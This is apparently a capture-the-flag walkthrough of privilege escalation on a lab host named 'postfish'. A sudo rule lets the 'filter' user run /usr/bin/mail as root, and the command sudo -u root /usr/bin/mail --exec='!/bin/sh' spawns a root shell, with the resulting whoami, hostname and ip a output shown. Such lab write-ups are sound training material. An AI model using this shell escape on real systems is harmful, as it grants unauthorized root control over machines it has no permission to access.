Postfish_Privilege_Escalation

sudo mail

---

The filter account has sudo privileges to execute the /usr/bin/mail * command as anyone without getting prompted for password.

filter@postfish:/var/spool/postfix$ sudo -u root /usr/bin/mail --exec='!/bin/sh'
#
# whoami
root
# hostname
postfish
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:9e:19:f2 brd ff:ff:ff:ff:ff:ff
    inet 192.168.111.137/24 brd 192.168.111.255 scope global ens160
       valid_lft forever preferred_lft forever

System level compromise